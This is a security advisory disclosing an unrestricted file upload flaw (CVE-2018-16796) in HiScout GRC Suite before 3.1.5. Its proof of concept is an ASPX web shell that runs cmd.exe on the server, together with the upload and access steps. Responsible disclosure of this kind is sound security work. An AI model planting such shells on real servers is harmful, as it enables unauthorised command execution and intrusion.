[SYSS-2018-015] HiScout GRC Suite < 3.1.5 - Unrestricted Upload- of File with Dangerous Type

From: sebastian.auwaerter@syss.de
To: bugtraq@securityfocus.com
Cc:
Subject: [SYSS-2018-015] HiScout GRC Suite < 3.1.5 - Unrestricted Upload- of File with Dangerous Type
Date:


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Advisory ID: SYSS-2018-015 
Product: HiScout GRC Suite
Manufacturer: HiScout GmbH
Affected Version(s): < 3.1.5
Tested Version(s): 3.1.3.12
Vulnerability Type: Unrestricted Upload of File with Dangerous Type
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2018-07-26
Solution Date: 2018-09-03
Public Disclosure: 2018-09-12
CVE Reference: CVE-2018-16796
Author of Advisory: Sebastian Auwaerter, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

HiScout GRC Suite is a platform for managing IT governance, risk and
compliance.

The manufacturer describes the various modules of the 
product as follows (see [1]):

The HiScout ISM module is geared toward meeting the requirements of the 
ISO 27000 series of international standards, and provides a reliable 
basis for the information management systems control loop.

The HiScout Grundschutz module fully supports operations toward BSI 
standard 100-2. HiScout Grundschutz comes geared to BSI specifications 
and can smoothly incorporate existing data from other tools, such as 
GSTOOL. The HiScout BCM module is a new generation of BCM tools that can
generate quantifiable benefits even when there is no emergency, and is 
therefore not only used to help you to plan for circumstances that will
hopefully never arise. 

Due to a missing check of the file extension and the content of uploaded
files in place of an image, HiScout GRC Suite is vulnerable to a remote
code execution vulnerability.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

An authenticated attacker with the permission to edit or add a
"WebSiteElement" to the "content" pages is able to upload any file
with any file extension to the data directory of the application. This
directory is in the web root and the uploaded file is executed on 
the server if ".aspx" is chosen as the file extension and if the file 
contains aspx source code. Any commands can be executed with the
permissions of the web server user on the server by exploiting this
vulnerability.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC)

To reproduce this issue on a German instance of HiScout GRC Suite,
choose "Inhalte" -> "Neu" -> "WebSiteElement" (The english equivalent
is "Content" -> "New" -> "WebSiteElement") and upload the following 
file to the file upload on the right-hand side of the "InfoEditor":

filename: whoami.aspx
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
 <html>
 <head>
 <title>Code Execution PoC</title>
 </head>
 <body>
   <% 
      String a = "whoami";
     ProcessStartInfo psi = new ProcessStartInfo();
     psi.FileName = "cmd.exe";
        psi.Arguments = "/c "+ a;
        psi.RedirectStandardOutput = true;
 psi.UseShellExecute = false;
       Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    String s = stmrdr.ReadToEnd();
     stmrdr.Close();

       Response.Write("<li>");
        Response.Write(s);
 Response.Write("</li>");
   %>
 </body>
 </html>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Now, either visit the uploaded file by navigating to 
http(s)://<vulnerable-server>/<image-directory>/whoami.aspx or open the
page where the newly created "WebSiteElement" is shown and follow the
path of the "image" that is not loaded properly.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to software version to 3.1.5

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2018-07-25: Vulnerability discovered
2018-07-26: Vulnerability reported to manufacturer
2018-09-03: Patch released by manufacturer
2018-09-12: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for HiScout BCM 
    https://www.hiscout.com/en/
[2] SySS Security Advisory SYSS-2018-015
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-015.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Sebastian Auwaerter of SySS 
GmbH.

E-Mail: sebastian.auwaerter at syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sebastian_Auwaerter.asc
Key Fingerprint: F98C 3E12 6713 19D9 9E2F BE3E E9A3 0D48 E2F0 A8B6 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: https://creativecommons.org/licenses/by/3.0/deed.en
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